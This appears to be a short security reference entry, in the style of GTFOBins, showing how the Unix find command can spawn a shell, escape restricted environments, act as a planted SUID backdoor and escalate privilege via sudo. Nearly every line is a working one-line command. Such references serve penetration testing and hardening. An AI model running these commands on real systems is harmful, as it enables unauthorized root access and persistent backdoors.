It can be used to break out from restricted environments by spawning an interactive system shell.
find . -exec /bin/sh \; -quit
It runs with the SUID bit set and may be exploited to access the file
system, escalate or maintain access with elevated privileges working as a
SUID backdoor. If it is used to run
sh -p, omit the
-p argument on systems
like Debian that allow the default
sh shell to run with SUID privileges.
cp $(which find) . sudo sh -c 'chown 0 ./find; chmod +s ./find' ./find . -exec /bin/sh -p \; -quit
It runs in privileged context and may be used to access the file system,
escalate or maintain access with elevated privileges if enabled on
sudo find . -exec /bin/sh \; -quit
